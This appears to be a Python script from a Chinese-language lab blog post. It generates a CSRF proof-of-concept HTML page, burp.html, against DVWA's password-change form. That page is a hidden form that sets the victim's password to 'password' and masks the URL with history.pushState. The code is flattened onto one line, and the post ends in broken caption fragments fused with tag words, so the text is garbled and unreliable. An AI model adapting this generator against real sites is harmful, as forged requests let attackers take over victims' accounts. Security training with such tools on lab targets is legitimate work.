import time import simplejson as json def poc(): url="http://a2fae7a7.ngrok.io/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change" headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'} values=url.split('?')[-1] urltwo=url.split('?')[:-1] urltwos="".join(urltwo) dumps={} for line in values.split('&'): key,value=line.split('=',1) dumps[key]=value discts=[i for i in dumps.keys()] print('原url:',url) print('url原帶的參數:',dumps) dumps['password_new'] = 'password' dumps['password_conf'] = 'password' valueswto=[g for g in dumps.values()] print('url更該後的參數',dumps) print('1.burpsuite的POC') user=input('請進行你的選擇:') if user == '1': print('burpsiuite的POC') burp=open('burp.html','w') burp.write('<html>\n') burp.write('<body>\n') burp.write('<script>history.pushState("''","''",'"'/'"')</script>\n') burp.write('<form action="{}">\n'.format(urltwos)) burp.write('<input type="hidden" name="{}" value="{}"/>\n'.format(discts[0],valueswto[0])) burp.write('<input type="hidden" name="{}" value="{}"/>\n'.format(discts[1],valueswto[1])) burp.write('<input type="hidden" name="{}" value="{}"/>\n'.format(discts[2],valueswto[2])) burp.write('<input type="submit" value="Submit CSRF POC"/>\n') burp.write('</form>\n') burp.write('</body>\n') burp.write('</html>\n') burp.close() else: print('【-】抱歉你沒有進行選擇,退出ing...') time.sleep(1) exit() poc()
測試結果以下:php
生成的htmlhtml
打開burp.htmlpython